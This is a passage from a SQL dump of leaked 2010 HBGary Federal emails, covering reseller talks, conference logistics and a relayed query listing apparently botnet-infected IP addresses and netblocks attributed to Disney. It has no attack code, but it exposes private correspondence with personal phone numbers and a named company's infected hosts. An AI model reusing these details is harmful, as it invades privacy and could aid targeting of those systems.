Zachary','',10487,'aaron_hbgary_com/10487.html'),(6849,'2010-05-31','noreply@googlegroups.com','/aaron@hbgary.com/new/1297004936.M639926P14101Q1704.eml','aaron@hbgary.com','Google Groups: You\'ve been invited to London rsa security conference',' hardee tammas thomasmcclurester@gmail.com has invited you to join the London \r\nrsa security conference group with this message:\r\n\r\nYou are invited to join this discussion group regarding the London RSA 2010 \r\nsecurity conference. If you have already done so, please review any new \r\npostings.\r\nThomas McClure, LinkedIn (under People search)\r\nThe Professional Limited Company, LinkedIn (under People not Company search)\r\nprofessionallc, LinkedIn (under Company search)\r\n\r\nHere is the group\'s description:\r\n\r\nLondon rsa security conference\r\n\r\n---------------------- Google Groups Information ----------------------\r\n\r\nYou can accept this invitation by clicking the following URL:\r\n\r\nhttp://groups.google.com/group/london-rsa-security-conference/sub?s=b8TuBgwAAABZ_hdM3Z9RaqrfSFJuV_rd&hl=en\r\n\r\n\r\n--------------------- If This Message Is Unwanted ---------------------\r\n\r\nIf you feel that this message is abuse, please inform the Google Groups staff \r\nby using the URL below.\r\n\r\nhttp://groups.google.com/groups/abuse?invite=YgAAAHsBBWuCAAAAgWgvtSkAAAAAABZ4eZcq2KKqz9TRlITRNnw0owc&hl=en\r\n',14281,'aaron_hbgary_com/14281.html'),(6850,'2010-05-31','\"Doug Wheeler\" <doug@p3rsonal.com>','/aaron@hbgary.com/new/1297004936.M881036P14101Q1705.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Feb. 14th--Brynn talking about Zachary','Very cute!\r\n\r\n\r\nOn 5/31/10 11:52 AM, \"Aaron Barr\"  wrote:\r\n\r\n> \r\n\r\nDoug Wheeler\r\nChief Operating Officer\r\nP3RSONAL, Inc.\r\n1025 Thomas Jefferson St NW, Suite 420 East\r\nWashington, DC 20007\r\nOffice: 202-558-4653\r\nMobile: 202-390-0520\r\n\r\n\r\n',15490,'aaron_hbgary_com/15490.html'),(6851,'2010-05-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004937.M256772P14101Q1706.eml','john@hbgary.com','AD License','Hi John,\r\n\r\nI have AD installed on top of the Ghost image I brought back with me.\r\nCan you please send me a license key.  My machine id is:  4D8EC9FF\r\n\r\nThanks,\r\nTed\r\n',12001,'aaron_hbgary_com/12001.html'),(6852,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004937.M651474P14101Q1707.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Introduction','Hi Arnav,On the product side I am going to leave the use and marketing to Penny as she is the authority in such matters, but I believe Narts license is not good for commercial work but only for evaluation. &nbsp;Any commercial use would require you to buy a license. &nbsp;HBGary Federal Services marketing material will be coming shortly. &nbsp;If there are engagements you want HBGary Federal to participate we come with HBGary products in hand to all of our engagements as well as our partner products; FIdelis and EndGames.AaronOn May 31, 2010, at 8:34 AM, Arnav Manchanda wrote:Dear Penny, Aaron,I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.Aaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.Best wishes,ArnavOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:Hello Penny,I am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.Do let me know your thoughts on this.Best wishes,Arnav\r\n\r\nOn 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:Cool, thanks&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Thanks Penny, will have a look and get back to you by early next week.&nbsp;Best,Arnav&nbsp;On 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4049,'aaron_hbgary_com/4049.html'),(6853,'2010-06-01','\"Potomac Officers Club\" <events@potomacofficersclub.com>','/aaron@hbgary.com/new/1297004937.M862392P14101Q1708.eml','aaron@hbgary.com','See you Tomorrow!','\r\nPotomac Officers Club - Event Registration Confirmation\r\n\r\n\r\nbody, td{font-family:arial,sans-serif;font-size:80%}\r\na:link, a:active, a:visited{color:#0000CC}\r\nimg{border:0}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    					\r\n\r\nBy clicking NO You will not be contacted about Martha N. Johnson, Administrator of General Services again\r\n\r\nDear Aaron,\r\n	\r\n	\r\nThis is just a friendly reminder that you are registered to attend the POC Luncheon event tomorrow (Wednesday,\r\nJune 2) featuring Martha Johnson.  The event is being held at the Tyson\'s Corner Ritz Carlton and starts at 11:30 am (with luncheon and speaker at 12:00 pm).\r\n\r\nWe look forward to seeing you tomorrow!!\r\n\r\nThe Potomac Officers Club\r\n\r\n    					\r\n	\r\n	\r\n	By clicking NO You will not be contacted about Martha N. Johnson, Administrator of General Services again\r\n	\r\n	\r\n	\r\n	  \r\n  \r\n\r\n&nbsp;\r\nEVENT SPONSOR&nbsp;\r\n	&nbsp;\r\n\r\n\r\n\r\n\r\nPowered by\r\nCarbon8 Studios.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15300,'aaron_hbgary_com/15300.html'),(6854,'2010-06-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004938.M664040P14101Q1710.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','Re: FIRST','Aaron and Penny,Looks like the FIRST conference conflicts with REBL.  If Aaron is doing REBL on June 17, wouldn&#39;t it make sense to send somebody for Thur and Fri for booth duty?  If it gets busy it would be better to have two people.\r\nBobOn Thu, May 27, 2010 at 5:23 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can only have two booth staffers.  Booth Set up is on\r\nTuesday so Aaron, if you want to attend at NO CHARGE, you have to work booth\r\nand help bob do demo’s and set up.  Martin will be there for part of\r\nTuesday and part of Wednesday. (see below)  Ted can’t come unless he\r\npays.  \r\n\r\n \r\n\r\n§  Booth #:  8\r\n\r\n\r\n§  Location: 2ND Level\r\nat the InterContinental Hotel Miami\r\n\r\n§  Setup: Tuesday, June 15th\r\nfrom 2:00PM-4:00PM\r\n\r\n§  Teardown: Friday, June 18th\r\nfrom 1:30PM-3:00PM\r\n\r\n \r\n\r\n§  Exhibit Hours:\r\n\r\n\r\no    Tuesday, June 15th\r\nfrom 4:00PM-8:00PM \r\n\r\no    Wednesday, June 16th\r\nfrom 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM;\r\n5:00PM-6:00PM\r\n\r\no    Thursday, June 17th\r\nfrom 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PM\r\n\r\no    Friday, June 18th\r\nfrom 8:00AM-8:45AM; 12:00PM-1:30PM \r\n\r\n \r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',16742,'aaron_hbgary_com/16742.html'),(6855,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004938.M74562P14101Q1709.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Disney Results','In doing a little bit of poking around looking for some process steps when validating these results, I have noticed that many of these IPs are associated to personal web traffic; forum posts, blog entries, etc.  Disney has a lot of systems that appear to be workstations but are publicly accessible.\r\n\r\nAaron\r\n\r\nOn May 30, 2010, at 2:47 PM, Ted Vera wrote:\r\n\r\n> Below are the complete results for the Disney query against the\r\n> EndGame database.  I\'ve also included the Netblocks we searched for:\r\n> \r\n> IP : 12.192.106.104\r\n> Confidence : 13.876823%\r\n> Events :\r\n> 	Conficker A/B : Wed Dec  9 18:37:01 2009 GMT\r\n> \r\n> IP : 12.44.117.104\r\n> Confidence : 13.783842%\r\n> Events :\r\n> 	Conficker A/B : Wed Dec  9 11:38:23 2009 GMT\r\n> \r\n> IP : 153.8.0.217\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar  7 16:59:00 2009 GMT\r\n> \r\n> IP : 153.8.48.246\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 13 00:59:00 2009 GMT\r\n> \r\n> IP : 153.8.72.232\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Jan 23 10:59:00 2009 GMT\r\n> \r\n> IP : 153.8.95.199\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Aug 16 22:59:00 2009 GMT\r\n> \r\n> IP : 153.8.98.57\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 11 10:59:00 2009 GMT\r\n> \r\n> IP : 153.8.161.83\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Feb 10 15:59:00 2009 GMT\r\n> \r\n> IP : 153.8.173.35\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Aug  5 13:59:00 2009 GMT\r\n> \r\n> IP : 153.8.209.132\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 03:59:00 2009 GMT\r\n> \r\n> \r\n> \r\n> IP : 192.195.66.20\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Jan  1 08:59:00 2009 GMT\r\n> \r\n> IP : 192.195.66.30\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Apr 18 14:59:00 2009 GMT\r\n> \r\n> IP : 192.195.66.32\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Apr 18 15:59:00 2009 GMT\r\n> \r\n> IP : 192.195.66.39\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb 16 20:59:00 2009 GMT\r\n> \r\n> IP : 192.195.66.46\r\n> Confidence : 99.996156%\r\n> Events :\r\n> 	Conficker C : Sat May 29 14:44:01 2010 GMT\r\n> 	Conficker A/B : Mon May  3 15:21:12 2010 GMT\r\n> \r\n> IP : 192.195.66.47\r\n> Confidence : 99.996156%\r\n> Events :\r\n> 	Conficker C : Sat May 29 14:06:41 2010 GMT\r\n> 	Conficker A/B : Wed May 12 04:38:44 2010 GMT\r\n> \r\n> IP : 192.195.66.48\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker C : Fri Sep 18 09:06:28 2009 GMT\r\n> 	Conficker A/B : Thu Mar 19 21:57:36 2009 GMT\r\n> \r\n> IP : 192.195.66.49\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker C : Thu Sep 17 04:46:23 2009 GMT\r\n> 	Conficker A/B : Thu Mar 19 15:56:55 2009 GMT\r\n> \r\n> IP : 192.195.66.129\r\n> Confidence : 74.189803%\r\n> Events :\r\n> 	Conficker C : Wed Jan 13 00:11:53 2010 GMT\r\n> 	Conficker A/B : Thu May 20 17:47:01 2010 GMT\r\n> 	Spam : Thu Oct 22 02:59:00 2009 GMT\r\n> \r\n> IP : 192.195.67.2\r\n> Confidence : 99.974096%\r\n> Events :\r\n> 	Conficker C : Sat May 29 06:24:17 2010 GMT\r\n> 	Conficker A/B : Wed Apr 28 09:42:25 2010 GMT\r\n> \r\n> IP : 192.195.67.23\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Tue Sep  1 18:32:24 2009 GMT\r\n> \r\n> IP : 192.195.67.31\r\n> Confidence : 27.866874%\r\n> Events :\r\n> 	Conficker A/B : Wed Jan 27 07:30:02 2010 GMT\r\n> \r\n> IP : 192.195.67.72\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Fri Aug 21 06:59:48 2009 GMT\r\n> \r\n> IP : 192.195.67.114\r\n> Confidence : 28.428327%\r\n> Events :\r\n> 	Conficker A/B : Fri Jan 29 09:39:53 2010 GMT\r\n> \r\n> IP : 192.195.67.119\r\n> Confidence : 74.189803%\r\n> Events :\r\n> 	Conficker A/B : Thu May 20 17:03:04 2010 GMT\r\n> \r\n> IP : 198.102.219.131\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Wed Feb 11 16:33:40 2009 GMT\r\n> \r\n> IP : 192.203.182.2\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Wed Aug 19 07:37:58 2009 GMT\r\n> \r\n> IP : 198.180.195.209\r\n> Confidence : 59.748051%\r\n> Events :\r\n> 	Mariposa : Wed Mar  3 14:47:00 2010 GMT\r\n> 	Conficker A/B : Thu Mar 25 12:57:56 2010 GMT\r\n> \r\n> IP : 199.88.194.29\r\n> Confidence : 71.875%\r\n> Events :\r\n> 	Mariposa : Thu Mar  4 03:16:49 2010 GMT\r\n> 	Conficker A/B : Fri May  7 05:48:46 2010 GMT\r\n> \r\n> IP : 199.181.130.5\r\n> Confidence : 25.023806%\r\n> Events :\r\n> 	Conficker A/B : Sun Jan 17 00:51:36 2010 GMT\r\n> \r\n> IP : 199.181.130.10\r\n> Confidence : 10%\r\n> Events :\r\n> 	P2P : Tue Aug  4 09:59:00 2009 GMT\r\n> \r\n> IP : 199.181.134.212\r\n> Confidence : 99.857644%\r\n> Events :\r\n> 	Conficker C : Fri May 28 17:35:35 2010 GMT\r\n> 	Conficker A/B : Mon May  3 21:02:13 2010 GMT\r\n> \r\n> IP : 199.181.135.135\r\n> Confidence : 73.682445%\r\n> Events :\r\n> 	Conficker A/B : Mon May 17 04:23:15 2010 GMT\r\n> 	Spam : Thu Feb 11 14:59:00 2010 GMT\r\n> \r\n> IP : 204.238.46.100\r\n> Confidence : 100%\r\n> Events :\r\n> 	Hamweq : Tue Dec 15 19:59:00 2009 GMT\r\n> 	Bobax : Wed Jul 22 23:59:00 2009 GMT\r\n> 	Mariposa : Sat Mar  6 02:29:36 2010 GMT\r\n> 	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n> 	Conficker C : Sat May 29 19:43:26 2010 GMT\r\n> 	Conficker A/B : Tue May 25 08:04:24 2010 GMT\r\n> \r\n> IP : 204.128.230.1\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Sat Jan 31 00:45:38 2009 GMT\r\n> 	Spam : Thu Feb  5 05:59:00 2009 GMT\r\n> \r\n> IP : 204.128.245.34\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Jan 30 19:59:00 2009 GMT\r\n> \r\n> IP : 204.128.245.58\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 18:59:00 2009 GMT\r\n> \r\n> IP : 204.128.192.3\r\n> Confidence : 99.992982%\r\n> Events :\r\n> 	Zeus : Wed Mar  3 00:27:54 2010 GMT\r\n> 	Conficker C : Sat May 29 12:52:40 2010 GMT\r\n> 	Conficker A/B : Wed May  5 20:17:32 2010 GMT\r\n> \r\n> IP : 204.128.192.4\r\n> Confidence : 98.414243%\r\n> Events :\r\n> 	Zeus : Wed Mar  3 00:47:17 2010 GMT\r\n> 	Conficker C : Thu May 27 04:11:54 2010 GMT\r\n> 	Conficker A/B : Thu May 20 15:14:33 2010 GMT\r\n> \r\n> IP : 153.7.50.176\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Feb 10 08:59:00 2009 GMT\r\n> \r\n> IP : 153.7.84.191\r\n> Confidence : 34.905318%\r\n> Events :\r\n> 	Spam : Tue Feb 23 23:59:00 2010 GMT\r\n> \r\n> IP : 153.7.134.93\r\n> Confidence : 18.828152%\r\n> Events :\r\n> 	Spam : Sat Dec 26 22:59:00 2009 GMT\r\n> \r\n> IP : 153.7.207.106\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n> \r\n> IP : 153.7.208.63\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 20 16:59:00 2009 GMT\r\n> \r\n> IP : 204.69.150.39\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 06:59:00 2009 GMT\r\n> \r\n> IP : 153.6.17.148\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 27 19:59:00 2009 GMT\r\n> \r\n> IP : 153.6.22.16\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar  3 09:59:00 2009 GMT\r\n> \r\n> IP : 153.6.29.118\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 13 21:59:00 2009 GMT\r\n> \r\n> IP : 153.6.117.143\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Aug 15 21:59:00 2009 GMT\r\n> \r\n> IP : 153.6.133.70\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Aug 10 10:59:00 2009 GMT\r\n> \r\n> IP : 153.6.191.244\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 11 19:59:00 2009 GMT\r\n> \r\n> IP : 153.6.224.208\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar 14 07:59:00 2009 GMT\r\n> \r\n> IP : 153.6.229.119\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n> \r\n> IP : 153.6.248.23\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 13 00:59:00 2009 GMT\r\n> \r\n> IP : 139.104.12.192\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Apr 29 04:59:00 2009 GMT\r\n> \r\n> IP : 139.104.34.240\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Jan 15 01:59:00 2009 GMT\r\n> \r\n> IP : 139.104.47.27\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n> \r\n> IP : 139.104.69.91\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 25 07:59:00 2009 GMT\r\n> \r\n> IP : 139.104.75.109\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb 16 22:59:00 2009 GMT\r\n> \r\n> IP : 139.104.77.139\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Jan 25 09:59:00 2009 GMT\r\n> \r\n> IP : 139.104.132.209\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n> \r\n> IP : 139.104.148.57\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 20 10:59:00 2009 GMT\r\n> \r\n> IP : 139.104.195.144\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 16 19:59:00 2009 GMT\r\n> \r\n> IP : 139.104.207.35\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Feb 12 19:59:00 2009 GMT\r\n> \r\n> IP : 208.114.97.106\r\n> Confidence : 35.034176%\r\n> Events :\r\n> 	IRC Bot : Wed Feb 24 20:54:44 2010 GMT\r\n> 	Conficker A/B : Thu Jan 28 16:53:27 2010 GMT\r\n> \r\n> IP : 208.114.97.107\r\n> Confidence : 73.739957%\r\n> Events :\r\n> 	Mariposa : Wed May 12 17:59:51 2010 GMT\r\n> 	Conficker A/B : Mon May 17 22:06:56 2010 GMT\r\n> \r\n> IP : 216.7.144.26\r\n> Confidence : 71.534269%\r\n> Events :\r\n> 	IRC Bot : Sat Feb 13 03:17:44 2010 GMT\r\n> 	Storm : Wed May  5 23:59:00 2010 GMT\r\n> \r\n> IP : 216.7.144.27\r\n> Confidence : 99.732935%\r\n> Events :\r\n> 	IRC Bot : Sun Apr  4 05:42:51 2010 GMT\r\n> 	Conficker A/B : Mon May 10 18:50:14 2010 GMT\r\n> 	Storm : Fri May 28 19:59:00 2010 GMT\r\n> \r\n> IP : 216.7.144.28\r\n> Confidence : 10%\r\n> Events :\r\n> 	Storm : Thu Jun 18 22:59:00 2009 GMT\r\n> \r\n> IP : 216.7.144.29\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Wed Jun 24 20:30:30 2009 GMT\r\n> 	Storm : Sun Apr 12 02:59:00 2009 GMT\r\n> \r\n> NetBlocks Searched:\r\n> 153.8.214.186;153.8.255.255\r\n> 192.195.66.0;192.195.66.255\r\n> 192.195.67.0;192.195.67.255\r\n> 198.22.77.0;198.22.77.255\r\n> 198.102.219.0;198.102.219.255\r\n> 192.203.182.0;192.203.182.255\r\n> 198.203.190.0;198.203.190.255\r\n> 198.178.187.0;198.178.187.255\r\n> 198.178.188.0;198.178.188.255\r\n> 198.178.189.0;198.178.189.255\r\n> 198.187.189.0;198.187.189.255\r\n> 198.187.190.0;198.187.190.255\r\n> 198.180.195.0;198.180.195.255\r\n> 199.88.194.0;199.88.194.255\r\n> 199.181.129.0;199.181.135.255\r\n> 199.4.128.0;199.4.128.255\r\n> 204.225.142.0;204.225.142.255\r\n> 204.238.46.0;204.238.46.255\r\n> 205.159.75.0;205.159.75.255\r\n> 204.87.208.0;204.87.208.255\r\n> 204.75.167.0;204.75.167.255\r\n> 204.80.231.0;204.80.231.255\r\n> 204.128.230.0;204.128.230.255\r\n> 204.128.245.0;204.128.245.255\r\n> 199.184.108.0;199.184.108.255\r\n> 204.128.192.0;204.128.192.255\r\n> 192.195.65.0;192.195.65.255\r\n> 153.7.0.0;153.7.255.255\r\n> 192.124.33.0;192.124.33.255\r\n> 204.69.150.0;204.69.150.255\r\n> 198.252.254.0;198.252.254.255\r\n> 198.200.186.0;198.200.186.255\r\n> 153.6.0.0;153.6.255.255\r\n> 192.195.64.0;192.195.64.255\r\n> 192.195.63.0;192.195.63.255\r\n> 204.87.172.0;204.87.172.255\r\n> 12.105.35.16;12.105.35.31\r\n> 12.35.205.208;12.35.205.223\r\n> 12.9.240.176;12.9.240.183\r\n> 12.9.240.240;12.9.240.247\r\n> 12.151.178.144;12.151.178.151\r\n> 12.16.33.16;12.16.33.31\r\n> 12.16.33.32;12.16.33.47\r\n> 12.8.149.144;12.8.149.151\r\n> 139.104.0.0;139.104.255.255\r\n> 174.143.86.16;174.143.86.23\r\n> 174.143.84.72;174.143.84.79\r\n> 66.214.252.56;66.214.252.63\r\n> 66.214.183.128;66.214.183.135\r\n> 72.32.29.64;72.32.29.71\r\n> 74.205.110.8;74.205.110.15\r\n> 98.129.4.192;98.129.4.223\r\n> 174.143.53.168;174.143.53.175\r\n> 99.149.150.8;99.149.150.15\r\n> 69.154.124.16;69.154.124.23\r\n> 216.139.179.128;216.139.179.255\r\n> 208.114.97.104;208.114.97.111\r\n> 216.7.144.24;216.7.144.31\r\n> 216.7.144.16;216.7.144.23\r\n> 71.137.135.24;71.137.135.31\r\n> 76.193.222.96;76.193.222.103\r\n> 76.193.222.112;76.193.222.119\r\n> 209.232.174.16;209.232.174.23\r\n> 63.199.60.64;63.199.60.95\r\n> 63.199.110.88;63.199.110.95\r\n> 69.172.241.16;69.172.241.31\r\n> 69.172.241.64;69.172.241.95\r\n> 69.172.241.0;69.172.241.15\r\n> 67.117.254.184;67.117.254.191\r\n> 63.72.0.0;63.72.3.255\r\n> 206.171.95.112;206.171.95.119\r\n> 206.171.95.120;206.171.95.127\r\n> 63.119.51.88;63.119.51.95\r\n> 69.218.70.40;69.218.70.47\r\n> 99.154.185.184;99.154.185.191\r\n> 70.229.184.112;70.229.184.119\r\n> 70.250.26.232;70.250.26.239\r\n> 69.223.213.112;69.223.213.119\r\n> 69.223.213.208;69.223.213.215\r\n> 75.5.99.128;75.5.99.135\r\n> 99.104.208.40;99.104.208.47\r\n> 209.232.184.32;209.232.184.39\r\n> 209.232.184.224;209.232.184.231\r\n> 76.225.166.72;76.225.166.79\r\n> 76.225.166.104;76.225.166.111\r\n> 72.3.174.32;72.3.174.39\r\n> 99.128.232.64;99.128.232.71\r\n> 99.166.122.96;99.166.122.103\r\n> 65.196.183.0;65.196.183.7\r\n> 65.200.51.152;65.200.51.159\r\n> 207.214.50.208;207.214.50.215\r\n> 65.218.221.48;65.218.221.55\r\n> 65.202.72.64;65.202.72.71\r\n> 208.255.172.32;208.255.172.39\r\n> 75.49.104.104;75.49.104.111\r\n> 75.51.249.160;75.51.249.167\r\n> 75.51.249.224;75.51.249.231\r\n> 216.133.238.64;216.133.238.127\r\n> 68.120.93.104;68.120.93.111\r\n> 69.238.181.184;69.238.181.191\r\n> 75.19.146.248;75.19.146.255\r\n> 75.19.145.240;75.19.145.247\r\n> 216.133.236.160;216.133.236.175\r\n> \r\n> -- Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9867,'aaron_hbgary_com/9867.html'),(6856,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004938.M943906P14101Q1711.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: FIRST','I am going to do REBL on Tuesday during day and then have a Potomac Officers Club Dinner that night. &nbsp;I will catch a plane out first thing in the morning on Wed. and get to the booth around 1pm on Wed. and the there thru Friday.AaronOn Jun 1, 2010, at 9:33 AM, Bob Slapnik wrote:Aaron and Penny,Looks like the FIRST conference conflicts with REBL.&nbsp; If Aaron is doing REBL on June 17, wouldn\'t it make sense 